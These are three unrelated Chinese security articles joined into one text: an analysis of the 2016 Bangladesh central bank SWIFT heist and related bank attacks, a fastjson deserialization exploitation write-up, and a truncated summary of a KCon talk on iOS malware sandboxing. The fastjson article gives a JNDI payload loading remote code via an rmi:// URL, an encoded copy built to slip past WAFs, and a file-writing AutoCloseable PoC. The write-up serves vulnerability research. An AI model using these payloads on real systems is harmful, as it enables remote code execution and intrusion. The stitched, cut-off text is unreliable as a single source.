近年来，针对银行、证券等金融行业的APT攻击不断出现，尽管目前披露的还只是以境外银行业发生的安全事件为主，但是网络攻击本就是跨国界的，这对于国内银行业的安全防护也敲响了警钟。在过去的安全实践中，我们不止一次发现了国内金融行业曾遭受到了APT攻击，安全态势并不是天下太平；再结合之前安天移动发布的《[针对移动银行和金融支付的持续黑产行动披露——DarkMobileBank跟踪分析报告](http://blog.avlsec.com/2016/04/3006/darkmobilebank/#list_2_3)》中所披露的地下黑产针对金融行业最终用户的攻击现状，我们确实有必要
重新审视国内金融行业所面临的安全风险，以及在过去的安全规划与建设基础上创新思路，以应对不断出现的新兴威胁。
**二、孟加拉央行攻击事件回顾**
1、背景
2016年2月5日，孟加拉国央行（Bangladesh Central
Bank）被黑客攻击导致8100万美元被窃取，攻击者通过网络攻击或者其他方式获得了孟加拉国央行SWIFT系统操作权限，进一步攻击者向纽约联邦储备银行（Federal
Reserve Bank of New
York）发送虚假的SWIFT转账指令，孟加拉国央行在纽约联邦储备银行上设有代理帐户。纽约联邦储备银行总共收到35笔，总价值9.51亿美元的转账要求，其中30笔被拒绝，另外5笔总价值1.01亿美元的交易被通过。进一步其中2000万美元因为拼写错误（Foundation误写为fandation）被中间行发觉而被找回，而另外8100万美元则被成功转走盗取。
而我们捕获到的这次网络攻击中所使用的恶意代码，其功能是篡改SWIFT报文和删除相关数据信息以掩饰其非法转账的痕迹，其中攻击者通过修改SWIFT的Alliance
Access客户端软件的数据有效性验证指令，绕过相关验证。
2、攻击流程
图 1 evtdiag.exe执行流程
* 步骤1：恶意代码检测是否有进程加载了“liboradb.dll”模块，进一步修改数据有效性验证指令，绕过验证；
* 步骤2：读取“gpca.dat”配置文件，其中包括了transord、日期、C&C等攻击者预设的关键信息；
* 步骤3：“2016年2月5日”是样本在满足其他特定条件后，执行报文篡改操作的触发时间；
* 步骤4：MT900报文篡改，操作打印机，并选择性修改数据库；
* 步骤5：样本执行篡改报文操作时，查询被感染计算机的相关“登录/注销”状态，将相关信息回传C&C服务器；
* 步骤6：监控执行持续到2016年2月6日6:00，之后退出并删除自身的日志、数据以及注册的服务。
表 1 evtdiag.exe相关参数
表 2 gpca.dat配置文件内容
3、篡改MT900报文
《[SWIFT之殇——针对越南先锋银行的黑客攻击技术初探](http://bobao.360.cn/learning/detail/2890.html)》中“二、
关于SWIFT”，详细介绍了SWIFT。MT900是SWIFT
MT十大类报文中其中第9类的一种，关于MT900报文的格式，下面有详细介绍，这样有助于理解后门具体篡改细节。
1) MT900借记证实
MT900范围
这是由帐户行发给开户行，用来通知开户行某笔款项已借记其所开帐户的报文格式。该借记将在对帐单中被进一步证实。如果帐户行经常发送该帐户的对帐单，那么就不会定期发送此报文。
该报文不能用于记帐，它只是向收报行(即开户行)证实这一笔借记。
**MT900域详述**
* 域20：发报行的编号
* 域21：有关业务编号
列明引起这笔借记的业务编号。如：MT100中域“20”中的编号。
* 域25：帐号
列明已被借记的帐户号码。
* 域32A：起息日、货币、金额
列明借记的起息日、货币和金额。
* 域52a：指示行
列明指示发报行借记该帐户的银行。如果该银行是收报行以外的银行，那么报文使用该域列明指示行。
* 域72：附言
该域只能填写有关说明，不能出现任何指示。
2) 具体篡改流程
图 2相关被篡改文件和配置文件关系图
获取nfzp/nfzf下所有"%d_%d"报文，并且根据MSG_TRN_REF是否已经在配置纪录当中进行分类，同时获取"%d_1"中的"60F"和"Sender"。
注：以下表3和表4是MT900报文中具体需要修改的项，具体修改操作细节暂不公开
表 3被篡改的MT900相关内容1
此处操作的执行条件为：上张报文中的"Sender"为"FEDERAL RESERVE BANK"。foff下会更新数据库，fofp时不会跟新数据库
打开foff/fofp目录下的第一个含有"-"的报文。更该账单中的19A和90B，在账单中，19A和90B应该只有一项。
表 4被篡改的MT900相关内容2
4、liboradb.dll分析
本次事件中攻击者通过修改SWIFT的Alliance
Access客户端软件中数据有效性验证指令，绕过相关验证，而导致相关问题的文件就是liboradb.dll。
liboradb.dll 基于OCI编程开发，作为SWIFT
alliance核心组件，为程序提供Oracle数据库交互操作接口，其中包含权限验证功能。此dll被SWIFT数据库服务进程调用,作为连接Oracle数据库的接口。
OCI 介绍：OCI（Oracle Call
Interface，即0racle调用层接口）是Oracle公司提供的由头文件和库函数等组成的一个访问Oracle数据库的应用程序编程接口（application
programming interface API），它允许开发人员在第三代编程语言（包括C, C++, COBOL 与
FORTRAN）中通过SQL（Structure Query Language）来操纵Oracle数据库，而且OCI在一定程度上支持第三代编程语言（诸如C,
C++, COBOL 与 FORTRAN）的数据类型、语法等等。
**三、相关攻击事件综合分析**
1、SWIFT官方预警或申明
2016年5月9日，环球银行金融电信协会（SWIFT）发表声明表示
，SWIFT拒绝由孟加拉国银行和孟加拉国警方的刑事调查部门(CID)官员提出的虚假指控，SWIFT对孟加拉银行劫案不负有任何责任，孟加拉银行有责任维护其银行系统环境的安全。
2016年5月10日，孟加拉国央行的新掌门人、纽约联邦储备银行和SWIFT官员在瑞士巴塞尔会晤讨论。在一份简短的联合声明中，双方表示，他们致力于追回被窃资金，将肇事者绳之以法，并协同工作来“标准化操作”。
2016年5月13日，SWIFT协会发布的一份报告
中称，已有第二家银行报告遭到网络攻击，这起攻击与孟加拉国央行在纽约联邦储备银行的账户被窃8100万美元的网络攻击类似，具体损失情况未知。并强调称，针对孟加拉国央行的恶意软件，对SWIFT的网络或核心信息交互系统没有影响，该恶意软件只能在黑客已经成功发现并利用当地（银行）系统网络安全隐患之后才能被植入。就此，SWIFT已经研发出相应设备，帮助客户提升网络安全、找准当地数据库记录有出入之处。
2016年5月24日，在布鲁塞尔欧洲金融服务第十四届年度会议上，SWIFT首席执行官Gottfried Leibbrandt表示
，SWIFT将提升其网络系统安全性，采取包括对银行管理软件提出更严格的安全要求，管控支付方式和第三方机构认证等措施。他重申，攻击并未对SWIFT的网络或核心信息交互系统造成影响，并透露将会启动一个新项目，旨在维护全球金融体系安全。
2016年5月27日，SWIFT协会宣称启动新的客户项目，针对日益猖獗的网络威胁，保护全球金融体系的财产安全。该项目分为5个战略举措
，包括提高国际机构之间信息共享、增强客户的SWIFT相关工具、加强指导，提供审计的框架、支持增加事务模式检测、加强支持第三方提供者。
2、战术：瞄准SWIFT系统
1) 针对银行系统的一系列攻击事件
2016年-孟加拉国央行（Bangladesh Central Bank）
在本报告第二部分内容详细介绍了攻击流程和篡改MT900报文的细节，在这里不进一步占据，具体内容请参看：“二、孟加拉央行攻击事件回顾”。
2015年-越南先锋银行（Tien Phong Bank）
图 3整体关系流程
针对越南先锋银行的攻击中，相关恶意代码内置了8家银行的SWIFT CODE，越南银行均在这些银行中设有代理帐户。目前看到的Fake PDF
Reader样本目的不是攻击列表中的这些银行，而是用来删除越南银行与其他家银行间的转帐确认（篡改MT950对帐单）。这样银行的监测系统就不会发现这种不当交易了。
关于针对越南先锋银行的攻击，可以参看我们之前发布的报告：《SWIFT之殇——针对越南先锋银行的黑客攻击技术初探》 。
2015年-厄瓜多尔银行（Banco del Austro）
据路透社报道，2015年1月12号，在一条来自厄瓜多尔Banco del Austro(DBA)银行系统信息的指引下，位于旧金山的Wells
Forga向香港的银行账户进行了转账。并且在接连10天内，至少有12笔的BDA银行资金通过SWIFT系统被转走，总金额高达1200万美金。BDA已就该事件将Wells
Frago向纽约法庭提起了诉讼，理由是Wells
Forgo美国银行本应该将这些交易标记为可疑交易，然而从诉讼资料看，双方银行都相信这些资金是被匿名黑客盗走的。
另外，SWIFT方面的负责人在案件被报道之前却对此毫不知情。相关人士称，SWIFT确实会核验系统发送信息中的密码来确保信息来自银行用户的终端设备。但是一旦网络盗窃者获取了密码和证书，SWIFT就无法判断操作者是不是真正的账户持有人了。而黑客正式钻了这个空子，盗取了一名银行雇员的SWIFT证书，金额盗走了巨额资金。
2013年-索纳莉银行（Sonali Bank）
据路透社报道，2013年孟加拉国的索纳莉银行（Sonali
Bank）也发生了类似孟加拉央行的攻击事件，在索纳莉事件中，攻击者盗取了25万美金的银行资金。银行IT运营部的高级官员称，在索纳莉银行劫案中，黑客们在一台电脑上安装keylogger来窃取其他系统的密码，然后使用SWIFT系统发送伪造的转账申请。
2)、相似的攻击战术
图 4关于针对4家银行的攻击流程
通过分析从2013年的索纳莉到2016年的孟加拉国央行这4个攻击银行的事件，结合上图，不难看出相关攻击事件之间有很多的相似性。
从攻击战术或攻击流程进行分析，其中主要环节是获得SWIFT、利用SWIFT发送转账指令和最终清除证据掩盖事实这三个部分。
第一，获得目标银行SWIFT权限：首先需要获得目标银行的SWIFT系统操作权限，索纳莉银行和厄瓜多尔银行从相关报道来看，均是通过网络攻击来获得了相关权限。据有关报道称索纳莉银行SWIFT相关登录帐号和密码是被植入的恶意代码所监控窃取，而厄瓜多尔也是类似登录验证凭证被窃取，由此我们可以得到一个信息，就是攻击者要获得SWIFT操作权限，并不需要进行物理接触，完全通过网络即可完成。而目前尚未有报道明确指出孟加拉国央行的SWIFT系统权限是通过网络攻击获得，但相关调查孟加拉央行事件的研究人员表示应该是黑客利用网络攻击获得了相关登录凭证。而越南先锋银行本身没有被攻击，问题出在其第三方服务商（提供SWIFT服务），但目前不清楚是否是通过网络进行攻击获得相关SWIFT操作权限的，先锋银行之后表示要改为直接连接SWIFT系统。
第二，向其他银行发送转账指令（代理帐户）：攻击者在获得SWIFT权限之后，最核心的目的就是要利用SWIFT发送转账指令，我们推测应该是SWIFT
MT报文中第一类报文，如MT103（单笔客户汇款）。除索纳莉银行以外，我们发现攻击者均向存在目标银行代理帐户的银行发送转账指令，如美国国富银行设有厄瓜多尔银行的代理帐户、大华银行等其他7家银行设有越南先锋银行的代理帐户和纽约联邦储备银行设有孟加拉国央行的代理帐户。通俗来讲也就是孟加拉国央行等这几个目标银行存在其他银行上的钱被冒名转走了。
第三，篡改MT9XX报文清除证据：由于暂未捕获到针对索纳莉和厄瓜多尔银行进行攻击的恶意代码，所以我们无法知道是否有该环节。我们主要来看越南先锋银行和孟加拉国央行，首先攻击者都是对MT9XX报文进行了劫持，在对越南先锋银行是劫持MT950对帐单，在针对孟加拉国央行是劫持了MT900借记证实，进一步都是对相关报文进行了篡改，目的是删除相关转帐记录，进行平帐。有区别是孟加拉国央行是对相关报文篡改后直接发送给打印机，打印出来，而越南先锋银行是对MT950的电子版PDF进行篡改后，然后打印机打印篡改后的PDF。攻击者最终目的就是篡改报告，另外删除其他一些数据信息，目的是抹去相关证据线索。另外我们发现越南先锋银行和孟加拉国央行中攻击者所使用的恶意代码，从代码同源性上，都存在一个特殊的安全删除函数，这也更进一步证明的这两次攻击事件并不是孤立的，两者之间必然有一定联系。
总体而言，这类攻击战术就是针对具备SWIFT系统的银行进行攻击，首先需要依托网络攻击或其他手段获得SWIFT权限，进一步向其他银行上的代理帐户发送转帐指令来达到金钱窃取的目的，最终使用恶意代码进行相关证据清除掩盖事实的过程。
3、技术：恶意代码同源性分析
安全删除函数
我们发现孟加拉国央行、越南先锋银行攻击中使用的恶意代码内的安全删除函数是复用了相同的代码，进一步Lazarus组织在2014年针对索尼的攻击中的恶意代码和赛门铁克安全公司在近期发布的安全报告
中提到，针对东南亚金融业的有限目标性攻击中出现的Backdoor.Fimlis恶意代码，都复用了同样的代码。
安全删除函数有2个参数：文件名和迭代次数。首先使用5F覆盖文件的末尾字节，然后根据6个控制字节决定使用什么数据覆盖原文件内容。
**四、总结**
1、攻击由一个组织或多个组织协同发起
从对相关攻击事件的战术层面和技术层面的深入分析，我们认为近期曝光的这4起针对银行的攻击事件并非孤立的，而很有可能是由一个组织或多个组织协同发动的不同攻击行动。
2、攻击组织极为熟悉目标银行的作业流程
如越南先锋银行中，从将恶意程序构造伪装成Foxit
reader（福昕PDF阅读器）到对MT950对帐单PDF文件的解析和精确的篡改等攻击手法，都反映出攻击者对银行内部交易系统和作业流程非常熟悉。攻击者的攻击意图明确，而且攻击者要如此了解和展开相关攻击行动，事前进行了大量侦查情报收集的工作。
3、与Lazarus组织（APT-C-26）存在关联
针对SWIFT攻击事件中与Lazarus组织所使用的相关恶意代码，我们从样本代码层面进行同源性分析，发现其中一个特殊的安全删除函数基本是进行了代码复用。从这一点来看，针对越南先锋银行和孟加拉国央行的攻击应该是与Lazarus组织有一定的联系。
安全删除函数这部分代码能关联到Lazarus组织曾今在2013年发动的darkseoul攻击行动和2014年针对索尼影视娱乐公司的攻击行动，相关攻击行动的IOC（MD5C&C等）在当时已经被安全机构公开了，也可以理解为安全删除函数这个本身特殊的代码在当时就已经公开了。也就是在此之后，比如2015年、2016年非Lazarus组织的攻击者，也可以轻松的获得安全删除函数的代码并在进行开发其他恶意代码的时候拿来使用。简而言之，如果我们依靠这处安全删除函数，来判定某个恶意代码是否属于Lazarus组织，是不具备强关联性的。
正如我们之前发布的洋葱狗报告（APT-C-03） “第5章 ICEFOG‘重生’：误导？嫁祸？”中提到的观点，我们不排除这有可能是其他组织刻意加入的干扰项。
4、银行业本身暴露出诸多安全问题
近期曝光的4起针对银行的攻击事件中，其中2013年的索纳莉银行、2015厄瓜多尔银行确定是由网络进行攻击获得相关转账权限，另外越南先锋银行和孟加拉国央行也是自身环节发生了问题，导致攻击者具备发送SWIFT转账指令的权限。
这明显暴露出银行自身的安全防护薄弱，另外攻击者通过网络攻击就可以获得SWIFT权限，并加以操作，以及攻击者对SWIFT的Alliance
Access客户端软件的数据有效性验证指令，绕过相关验证等等，这些都暴露出SWIFT
本身也存在一定问题，如是否在普通的帐号密码验证机制基础上，可以加一些需要依赖物理设备或环境才能进行验证的步骤，这样能大大隔离纯粹来自网络的攻击。 | 社区文章 |
# fastjson在一些特殊场景下的漏洞挖掘与利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
fastjson作为github上star已经超过2w的开源项目，在各个企业内部都有着广泛的使用，所以这个项目也一直以来是黑客们漏洞挖掘的重要目标，而自68版本以来关于fastjson相关漏洞的文章已经逐渐稀少了起来，一部分原因在于对于autotype的绕过变得越来越艰难，一部分原因在于现有WAF也都开始对fastjson漏洞有了较强的规则检测。然而当fastjson出于较低版本或者jdk>=11的情况下，还是有一定的方法可以尝试WAF的绕过以及新的gadgets的挖掘，文章主要针对fastjson的一些特性进行分析，为在这些特殊场景下的漏洞利用和挖掘提供一个思路。
## 隐藏的编码套路
首先去看一个比较重要的函数，JSONLexerBase.scanSymbol，这个函数是fastjson用来处理json字符串的函数，这里只截取关键部分代码，
if(chLocal=='\\'){
if(!hasSpecial){
hasSpecial=true;
if(this.sp>=this.sbuf.length){
int newCapcity=this.sbuf.length*2;
if(this.sp>newCapcity){
newCapcity=this.sp;
}
char[]newsbuf=new char[newCapcity];
System.arraycopy(this.sbuf,0,newsbuf,0,this.sbuf.length);
this.sbuf=newsbuf;
}
this.arrayCopy(this.np+1,this.sbuf,0,this.sp);
}
chLocal=this.next();
switch(chLocal){
case'"':
hash=31*hash+34;
this.putChar('"');
break;
case'#':
case'$':
case'%':
case'&':
case'(':
case')':
case'*':
case'+':
case',':
case'-':
case'.':
case'8':
case'9':
case':':
case';':
case'<':
case'=':
case'>':
case'?':
case'@':
case'A':
case'B':
case'C':
case'D':
case'E':
case'G':
case'H':
case'I':
case'J':
case'K':
case'L':
case'M':
case'N':
case'O':
case'P':
case'Q':
case'R':
case'S':
case'T':
case'U':
case'V':
case'W':
case'X':
case'Y':
case'Z':
case'[':
case']':
case'^':
case'_':
case'`':
case'a':
case'c':
case'd':
case'e':
case'g':
case'h':
case'i':
case'j':
case'k':
case'l':
case'm':
case'o':
case'p':
case'q':
case's':
case'w':
default:
this.ch=chLocal;
throw new JSONException("unclosed.str.lit");
case'\'':
hash=31*hash+39;
this.putChar('\'');
break;
case'/':
hash=31*hash+47;
this.putChar('/');
break;
case'0':
hash=31*hash+chLocal;
this.putChar('\u0000');
break;
case'1':
hash=31*hash+chLocal;
this.putChar('\u0001');
break;
case'2':
hash=31*hash+chLocal;
this.putChar('\u0002');
break;
case'3':
hash=31*hash+chLocal;
this.putChar('\u0003');
break;
case'4':
hash=31*hash+chLocal;
this.putChar('\u0004');
break;
case'5':
hash=31*hash+chLocal;
this.putChar('\u0005');
break;
case'6':
hash=31*hash+chLocal;
this.putChar('\u0006');
break;
case'7':
hash=31*hash+chLocal;
this.putChar('\u0007');
break;
case'F':
case'f':
hash=31*hash+12;
this.putChar('\f');
break;
case'\\':
hash=31*hash+92;
this.putChar('\\');
break;
case'b':
hash=31*hash+8;
this.putChar('\b');
break;
case'n':
hash=31*hash+10;
this.putChar('\n');
break;
case'r':
hash=31*hash+13;
this.putChar('\r');
break;
case't':
hash=31*hash+9;
this.putChar('\t');
break;
case'u':
char c1=this.next();
char c2=this.next();
char c3=this.next();
char c4=this.next();
int val=Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);
hash=31*hash+val;
this.putChar((char)val);
break;
case'v':
hash=31*hash+11;
this.putChar('\u000b');
break;
case'x':
char x1=this.ch=this.next();
char x2=this.ch=this.next();
int x_val=digits[x1]*16+digits[x2];
char x_char=(char)x_val;
hash=31*hash+x_char;
this.putChar(x_char);
}
}
在fastjson在进行json字符的处理时，如果扫描到 ‘/‘
（代码里是//是因为java自身的特殊字符编码），fastjson会认为字符经过了编码，所以会进行解码操作。在代码的case
when场景中，绝大多数场景都是形如\f、\n这一类特殊字符，fastjson自然也就做的处理也很简单，这里重点看两个case，
也就是说当输入的字符是形如 \u 或者 \x
的情况下fastjson是会对其进行解码操作的（即fastjson支持字符串的Unicode编码和十六进制编码）。
ok，在获取了这个信息后，就用老版本的poc去尝试一下，
这里选取最初代版本的poc，测试一下，
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这里做一个多重编码，
{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}
经过测试是可以成功达到poc的效果的，当然这个编码只能达到绕过部分waf和web黑名单的效果，因为编码是发生在反序列化之前的，所以无法绕过fastjson自身的autotype以及黑白名单。
## 何为默认构造函数
从我这边最初对于fastjson的序列化进行了解的时候，产生过一个认知，fastjson在进行反序列化的时候，首先会去调用无参构造函数进行实例化，之后再调用对应的setter与getter，因此下定了一个判断，反序列化的关键payload是要去各个class的setter和getter里面去找的，毕竟无参构造函数无法传参，利用基本就是不可行的。
这一点也是fastjson和jackson一个很大的区别，jackson可以通过如下写法将str传给反序列化类的构造函数，
["org.springframework.context.support.FileSystemXmlApplicationContext", "http://127.0.0.1/spel.xml"]
直到fastjson68版本漏洞爆出后，我看到了很多很有意思的poc，这些poc也实现了传参给反序列化类的构造函数，于是我这边也构造了68版本的poc，去尝试一下其中的可行性，
public class Poc68 {
public static void main(String[] args){
String str2 = "{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"java.io.FileOutputStream\",\n" +
" \"file\": \"/tmp/test\",\n" +
" \"append\": false\n" +
"}";
JSON.parseObject(str2);
}
}
结果就出现了以下报错，
在不断的尝试下，终于发现这些poc都有一个要求，jdk11及以上，测试code如下，感兴趣的可以打个断点跟一下，可以看到name和age的值是成功传入了构造函数的。但是还有个很重要的限制，Person类自身不能拥有无参构造函数，否则依旧会只调用无参构造函数。
package com.glassy;
import com.alibaba.fastjson.JSON;
public class Person implements AutoCloseable{
private String name;
private int age;
// public Person() {
// }
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public void close() throws Exception {
}
public static void main(String[] args){
String json = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.glassy.Person\",\"name\":\"glassy\",\"age\":13}";
JSON.parseObject(json);
}
}
导致poc只能在jdk11利用成功的根本原因在于下面这行代码，
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
fastjson会使用ASM框架去读取给定类的字节码，并从中获取各个参数名，从而去确认怎样调用有参构造函数，然而当jdk版本低于11的时候却无法读取到对应信息。由于字节码操作本身是很受jdk版本影响的（写过rasp的同学应该深有感触），所以这里笔者也只能去斗胆猜测可能是jdk版本的兼容性做的不好，有兴趣的朋友们也可以深入分析一下。
## parse与parseObject
fastjson在反序列化的时候提供了两个用于parse
jsonStr的函数，这两个函数对于poc却有着截然不同的要求，我们先去看一下两个函数在功能上有什么区别。
JSON.parseObject(json); //实例化json字符串为JSONObject
JSON.parse(json); //实例化json字符串为Object
看上去似乎区别不大，但实际上JSON.parse只会循环调用指定字段的set方法，而JSON.parseObject()是会去循环调用指定字段的set方法和get方法，而之所以多出了一步，就是为了通过getter取出字段值去给JSONObject赋值。因此，取决于反序列化的函数不同，poc的可用性也会产生差别。
## 总结
以上是对于fastjson一些比较不为人注意的特性的分享与分析，虽然都是一些很小的细节，但是却会对poc的构造、挖掘造成不小的影响，尾部再对这些特性做一下总结。
1. fastjson支持unicode编码与十六进制编码，在fastjson版本较低的时候绕黑名单有一定的帮助。
2. fastjson在jdk11是可以构造出调用有参构造函数的poc的，前提是这个class本身没有无参构造函数。
3. fastjson的parse函数和parseObject对于实力化类的触发场景是不一样的。 | 社区文章 |
# KCon议题解析 | 美团安全分享APT检测设备的扩展研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
8月23日-25日，一年一度的KCon
黑客大会在北京昆泰嘉瑞文化中心成功举办，本届大会以「无界」为主题，通过汇聚全球黑客的智慧，探索技术的无穷奥秘，突破边界外的边界，创造不可能的可能。
作为安全领域内拥有丰富实战经验和技术积累的安全团队，美团安全研究院成员受邀参加KCon黑客大会，并针对目前主流厂商在移动平台（iOS、Android）的APT检测设备明显不足的现状，分享了关于「APT检测设备的扩展研究」的议题。
现场议题围绕业界现状分析、C相关设备的动态沙箱（蜜罐）技术等几个方面，充分展示美团安全团队对APT检测设备的扩展研究成果。
## 议题解读「APT检测设备的扩展研究」
演讲者 | JU ZHU
目前就职于美团（高级安全研究员），有着9+年的安全研究经验，其中7+年主要从事高级威胁的研究，包括0Day、nDay
和漏洞挖掘。他一直致力于使用自动化系统来 Hunt 野外的高级威胁，曾多次获得 CVE，且受到 Google、Apple、Facebook
等厂商的致谢，也多次作为 Speaker 受邀参加 BlackHat、CodeBlue、CSS 等国内外的顶级安全会议。
## 1\. 现状分析
### 1.1 业界主流APT检测设备选型对比
APT检测设备的选择一般是参考Gartner报告挑出备选，再结合实际情况做适应性检测对比。
平台支持性：
我们统计了某天内网接入设备的操作系统类型（见图1），并根据这些类型对三个备选厂商进行了平台相关性检测（见图2）。
图1 内网接入设备的操作系统类型统计
|
Windows
|
MacOS
|
iOS
|
Android
|
其它
---|---|---|---|---|---
厂商1
|
✔
|
✘
|
✘
|
✘
|
✘
厂商2
|
✔
|
✘
|
✘
|
✘
|
✘
厂商3
|
✔
|
✘
|
✘
|
✔
|
✘
图2 各厂商的平台支持对比
从图1和图2可以看出，大部分厂商只是对Windows平台的支持比较好，或者也提供Android沙箱。然而这和内网接入设备的多元化还有很大差距，需要我们自己进行进一步的扩展开发。
文件类型支持性：
有些厂商对于平台的支持可能受到某些限制，所以他们通过更多的文件类型支持来进行能力补充（见图3）。
|
PE
|
Office
|
PDF
|
Mach-O
|
plist
|
APK
---|---|---|---|---|---|---
厂商1
|
✔
|
✔
|
✔
|
✘
|
✘
|
✘
厂商2
|
✔
|
✔
|
✘
|
✘
|
✘
|
✘
厂商3
|
✔
|
✔
|
✘
|
✔
|
✘
|
✔
图3 各厂商的文件类型支持对比
在选型测试中，我们特地增加了plist文件格式的样本，这源于之前发现的在野的iOS Ransomware（Death
Profile[[1]](/Users/xuting16/Desktop/SRC/Kcon/%E7%BE%8E%E5%9B%A2%E5%AE%89%E5%85%A8Kcon%E9%BB%91%E5%AE%A2%E5%A4%A7%E4%BC%9A-20190826%E7%BB%88%E7%89%88.docx#_ftn1)）。它是一种基于iOS的Configuration
Profile，常用于企业为办公设备推送各类配置信息（如Wi-Fi、VPN设置等），是一种常见的公司内部交换文件格式。
从图3看，各厂商几乎覆盖了基于Windows平台的文件格式（诸如PE、Office等），只有少量厂商支持基于MacOS/iOS平台的Mach-O文件（经过实测，他们基本上采用的是静态分析方式），而plist格式目前并未有厂商支持。因此对于文件格式的支持性，还有很大的空间可提升。
### 1.2 可参考的解决方案对比
对于甲方来说，APT检测的解决方案一般以采购为主，但也不乏根据实际情况进行部分自研。我们选取了一些可参考的（除Windows外）动态沙箱技术解决方案来进行对比（见图4）。
|
MacOS
|
iOS
|
Android
---|---|---|---
可参考的动态沙箱
|
Darling
或
Cuckoo Sandbox
|
Corellium
|
Anbox
或
Cuckoo Droid
使用方式（云或本地）
|
本地
|
云
|
本地
开源？
|
是
|
否
|
是
实现成本
|
中
|
极高
|
中
图4 可参考的动态沙箱技术解决方案对比
MacOS：
Darling是一种比较轻量级的基于Linux的MacOS
App运行环境，主要是做了一个转换层，将App的函数调用重定向到了Linux。Darling可以运行在Docker上，方便大规模部署和维护。Cuckoo
Sandbox是比较重量级的，它运行在MacOS上，一般采用VisualBox来部署，性能会差些。
因此可以采用阶梯式部署方式：Darling完成大部分指标检测，而剩下的少部分，则由Cuckoo Sandbox来完成（如图5）。
图5 MacOS动态沙箱技术解决方案
iOS：
Corellium拥有一套比较完整的iOS虚拟机，不过目前他们只提供云服务，对于内网审计是个很大的挑战。对于很多甲方公司来说，内网的数据是不能外传的，所以我们更倾向于使用本地沙箱方式。
Android：
Anbox是一个轻量级完整模拟Android的系统， Cuckoo Droid是一个比较成熟的检测Android
Malware的沙箱系统，且它们都是开源的，比较符合甲方的需求，不需要再做拓展研究。
综上所述，大部分可参考的动态沙箱技术解决方案，基本都可实现本地部署，且开源方便二次开发。唯有iOS动态沙箱需要重新设计和开发。
## 2\. iOS动态沙箱（蜜罐）技术
### 2.1总体架构流程
为了能检测出未知Malware（0 Day等），同时又能知晓影响面（版本、位数等），我们首先需要提取iOS App中的Mach-O文件，再根据32位或者64位来进行相应的检测。
图6 针对Mach-O的流程
如图6所示，首先解开IPA文件，再分解Fat文件为32位Mach-O和64位Mach-O。由于基于Aarch 64的硬件服务器架构不能直接运行Arm
32位的程序，我们进行了分流设计：将32位的Mach-O送入模拟Arm v7的Qemu，而64位的Mach-O则送入基于Aarch 64的Docker。
另外，存在像Death Profile这样的攻击，我们还需要检测流量中plist格式的文件或者内容（如图7）。
图7 针对plist的流程
### 2.2 轻量级虚拟化设计
Corellium的虚拟化方案虽然非常完备，但对于我们的需求来说过重，且开发成本极高。因此我们更倾向于类似Darling（或者Wine）的轻量级解决方案。
我们采用API重定向的方式，将Mach-O完整地在Qemu（或者Docker）中模拟运行起来。
Loader & Run Mach-O
---
Foundation
|
。。。
libobjc.so
|
libxml2.so
|
libdispatch.so
|
。。。
libc.so
|
libc++abi.so
|
libc++.so
|
。。。
Qemu（Arm v7）
|
Docker（Aarch 64）
Linux（Aarch 64）
Hardware（Aarch 64）
图8 轻量级的虚拟化设计
图8是我们提出的轻量级虚拟化设计，最底层硬件和操作系统都是基于Aarch 64（或者Arm v8），在它们上面使用Qemu以实现Arm
v7的支持。而Docker用于直接对Arm 64的支持。
在Qemu（或者Docker）内，我们部署安装了一些基础库（诸如libc、libc++等），还编译了libobjc、libdispatch等开源库，以对更上层的API重定向库提供支持。
最后，我们实现了类似Foundation.framework的API重定向库，以支撑Mach-O的正常运行，运行效果见图9、图10。
图9 Qemu（Arm v7）的运行效果
图10 Docker（Arm 64）的运行效果
### 2.3实现
正常来说，我们运行一个Mach-O文件，需要实现一个类似dyld的Loader程序，来用于解析和加载Mach-O，并导入相关的依赖库。这里我们需要自己实现这个过程。
整个实现过程分为六个部分：解析和加载、导入相关依赖库、地址修正、地址（API）重定向、运行、回调。
图11 整个运行过程
图12 运行效果
解析和加载：
我们通过解析Mach-O文件中Load
Commands的Segment信息，将所有的Segment数据（除PageZero）按地址顺序逐一加载到虚拟内存。由于程序启动时会在进程空间加上一段偏移量（slide），我们需要计算记录下slide的结果，用于之后运行时的起始地址计算（如图13）。
slide = text_real_vm_addr – text_vm_addr
其中text_real_vm_addr是TEXT段的实际虚拟内存地址，text_vm_addr是Mach-O文件中TEXT段的VM地址。
另外，在映射时，可按实际VM Protection值来设置所映射的虚拟内存VMP属性。
slide + text_vm_addr
|
---|---
|
|
TEXT
|
DATA
|
LLVM
|
LINKEDIT
|
。。。
Loader & Run
图13 所有Segment数据（除PageZero）映射到虚拟内存的实际地址分布情况
导入相关依赖库：
通过解析Mach-O文件中Load Commands的LC_LOAD_DYLIB数据，可获取所有依赖库的信息，并做模拟实现。这样就可以将Mach-O中的API调用重定向到我们希望调用的函数中去。
事实上，在实现某个依赖库（比如Foundation）时，可能会存在更多的依赖库需要实现，其工作量将是巨大的（如图14）。
图14 Foundation的实现
地址修正：
如果要正常运行main函数，Mach-O文件中Rebase所描述地址的数据还需要做修正，如Lazy Symbol
Pointer数据和CFString数据等。
|
原数据（Pointer）
|
|
新数据（Pointer）
---|---|---|---
Lazy Symbol Pointer
|
0x100007F9C
|
->
|
slide + 0x100007F9C
CFString
|
0x100007FA8
|
->
|
slide + 0x100007FA8
图15 Mach-O文件中Rebase所描述地址的数据修正
地址（API）重定向：
对于Lazy Symbol Pointer这类数据，我们还需要再做一次修正，那就是使用我们模拟实现的函数地址来替换该数据（Pointer）。
|
原地址
|
|
新地址
---|---|---|---
NSLog
|
slide + 0x100007F9C
|
->
|
